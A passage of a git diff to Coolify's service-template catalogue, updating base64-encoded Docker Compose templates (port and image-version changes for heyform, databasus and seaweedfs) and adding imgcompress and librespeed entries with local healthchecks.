Z28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9JTUdDT01QUkVTU181MDAwCiAgICAgIC0gJ0RJU0FCTEVfTE9HTz0ke0RJU0FCTEVfTE9HTzotZmFsc2V9JwogICAgICAtICdESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVD0ke0RJU0FCTEVfU1RPUkFHRV9NQU5BR0VNRU5UOi1mYWxzZX0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMwo=", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfTElCUkVTUEVFRF84MgogICAgICAtIE1PREU9c3RhbmRhbG9uZQogICAgICAtIFRFTEVNRVRSWT1mYWxzZQogICAgICAtIERJU1RBTkNFPWttCiAgICAgIC0gV0VCUE9SVD04MgogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdjdXJsIDEyNy4wLjAuMTo4MiB8fCBleGl0IDEnCiAgICAgIHRpbWVvdXQ6IDFzCiAgICAgIGludGVydmFsOiAxbTBzCiAgICAgIHJldHJpZXM6IDEK", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -4099,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMDUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMTMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK", "tags": [ "object", "storage", diff --git a/templates/service-templates.json b/templates/service-templates.json index 49f1f126f..22d0d6d8c 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -818,7 +818,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", + "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=", "tags": [ "postgres", "mysql", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fODAwMAogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwMDAgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fOTE1NwogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjkxNTcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK", "tags": [ "form", "builder", @@ -1965,7 +1965,7 @@ "category": "productivity", "logo": "svgs/heyform.svg", "minversion": "0.0.0", - "port": "8000" + "port": "9157" }, "homarr": { "documentation": "https://homarr.dev?utm_source=coolify.io", @@ -2041,6 +2041,21 @@ "minversion": "0.0.0", "port": "80" }, + "imgcompress": { + "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io", + "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.", + "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fSU1HQ09NUFJFU1NfNTAwMAogICAgICAtICdESVNBQkxFX0xPR089JHtESVNBQkxFX0xPR086LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9TVE9SQUdFX01BTkFHRU1FTlQ9JHtESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVDotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjUwMDAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMK", + "tags": [ + "compress", + "photo", + "server", + "metadata" + ], + "category": "media", + "logo": "svgs/imgcompress.png", + "minversion": "0.0.0", + "port": "5000" + }, "immich": { "documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io", "slogan": "Self-hosted photo and video management solution.", @@ -2417,6 +2432,19 @@ "minversion": "0.0.0", "port": "3000" }, + "librespeed": { + "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io", + "slogan": "Self-hosted lightweight Speed Test.", + "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0xJQlJFU1BFRURfODIKICAgICAgLSBNT0RFPXN0YW5kYWxvbmUKICAgICAgLSBURUxFTUVUUlk9ZmFsc2UKICAgICAgLSBESVNUQU5DRT1rbQogICAgICAtIFdFQlBPUlQ9ODIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAxMjcuMC4wLjE6ODIgfHwgZXhpdCAxJwogICAgICB0aW1lb3V0OiAxcwogICAgICBpbnRlcnZhbDogMW0wcwogICAgICByZXRyaWVzOiAxCg==", + "tags": [ + "speedtest", + "internet-speed" + ], + "category": "devtools", + "logo": "svgs/librespeed.png", + "minversion": "0.0.0", + "port": "82" + }, "libretranslate": { "documentation": "https://libretranslate.com/docs/?utm_source=coolify.io", "slogan": "Free and open-source machine translation API, entirely self-hosted.", @@ -4099,7 +4127,7 @@ "seaweedfs": { "documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io", "slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.", - "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2d